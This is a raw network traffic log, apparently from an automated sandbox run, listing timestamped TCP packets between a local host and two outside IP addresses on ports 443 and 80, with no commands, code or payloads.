Nov 20, 2024 08:12:36.808468103 CET	443	49837	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.808506012 CET	443	49837	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.808556080 CET	443	49837	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.808669090 CET	49837	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.808669090 CET	49837	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.808900118 CET	49837	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.808914900 CET	443	49837	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.809078932 CET	443	49838	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.809391975 CET	443	49838	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.809499025 CET	49838	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.809658051 CET	49838	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.809663057 CET	443	49838	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.809684992 CET	49838	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.809689045 CET	443	49838	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.811038017 CET	49842	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.811072111 CET	443	49842	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.811142921 CET	49842	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.811377048 CET	49842	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.811388016 CET	443	49842	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.811960936 CET	49843	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.811970949 CET	443	49843	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.812042952 CET	49843	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.812189102 CET	49843	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.812196016 CET	443	49843	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.823256016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823270082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823281050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823308945 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823343992 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823344946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823360920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823409081 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823467970 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823479891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823491096 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823503017 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823513985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823550940 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823551893 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823596001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823606968 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823617935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823628902 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823661089 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823661089 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823687077 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823698997 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823709965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823721886 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823733091 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823786020 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823786020 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823786020 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.823987961 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.823998928 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824009895 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824021101 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824032068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824043036 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824055910 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824063063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824063063 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824070930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824081898 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824127913 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824199915 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824203014 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824212074 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824223995 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824279070 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824279070 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824347973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824358940 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824369907 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824388027 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824399948 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824410915 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824423075 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824424028 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824424028 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824434996 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824450016 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824465990 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824466944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824480057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824490070 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824501991 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824502945 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824502945 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824546099 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824791908 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824804068 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824815989 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824826002 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824837923 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824845076 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824848890 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824861050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824879885 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.824934006 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824944973 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.824965954 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.825025082 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825036049 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825047970 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825059891 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825069904 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825078964 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.825078964 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.825082064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825094938 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825120926 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.825120926 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.825274944 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825285912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825298071 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825309038 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825320005 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.825346947 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.825346947 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.825412035 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.828090906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869353056 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869366884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869384050 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869402885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869415045 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869425058 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869426012 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869425058 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869441032 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869479895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869479895 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869510889 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869523048 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869533062 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869554043 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869612932 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869623899 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869633913 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869646072 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869647026 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869657993 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869695902 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869695902 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869754076 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869765997 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869802952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869812965 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869822979 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869837046 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869864941 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.869942904 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869955063 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869966030 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869976044 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869987011 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.869997025 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870002985 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870002985 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870014906 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870047092 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870047092 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870137930 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870150089 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870162964 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870173931 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870208979 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870208979 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870245934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870255947 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870326996 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870337963 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870349884 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870361090 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870372057 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870383978 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870383978 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870383978 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870426893 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870426893 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870577097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870589018 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870599985 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870610952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870623112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870632887 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870644093 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870651007 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870651007 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870659113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870691061 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870691061 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870765924 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870776892 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870788097 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870825052 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870866060 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870877028 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870887995 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.870924950 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.870924950 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.871093988 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.873099089 CET	443	49839	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.873689890 CET	49839	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.873701096 CET	443	49839	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.874082088 CET	49839	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:36.874089956 CET	443	49839	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:36.892970085 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.900973082 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.909879923 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.909907103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.909919977 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.909931898 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.909957886 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.909957886 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.909984112 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.909996986 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910052061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910063028 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910084963 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910085917 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910177946 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910191059 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910202980 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910240889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910240889 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910310984 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910322905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910335064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910346031 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910391092 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910391092 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910445929 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910456896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910468102 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910485029 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910504103 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910516024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910525084 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910525084 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910526037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910538912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910550117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910567045 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910567045 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910871029 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910882950 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910892010 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910902977 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910914898 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910924911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910936117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910942078 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910942078 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.910947084 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910959005 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.910973072 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911039114 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911039114 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911214113 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911225080 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911237001 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911250114 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911262035 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911273003 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911278963 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911286116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911290884 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911298037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911310911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911482096 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911482096 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911639929 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911650896 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911660910 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911670923 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911683083 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911689997 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911695957 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911708117 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911720037 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911726952 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911732912 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911744118 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911756039 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911765099 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.911789894 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911789894 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.911917925 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.912094116 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912113905 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912126064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912137032 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912148952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912158966 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912159920 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.912172079 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912184000 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912194967 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912205935 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912218094 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912229061 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912236929 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.912236929 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.912244081 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912257910 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912271023 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.912312031 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.912571907 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.956227064 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956239939 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956249952 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956269026 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956280947 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956293106 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956300020 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.956304073 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956315041 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956470013 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956481934 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956495047 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956517935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.956517935 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.956590891 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.956593990 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956605911 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956619024 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956629992 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956670046 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.956796885 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956809998 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956811905 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.956823111 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956834078 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956845999 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956857920 CET	80	49833	185.215.113.16	192.168.2.6
Nov 20, 2024 08:12:36.956870079 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.956870079 CET	49833	80	192.168.2.6	185.215.113.16
Nov 20, 2024 08:12:36.956895113 CET	49833	80	192.168.2.6	185.215.113.16
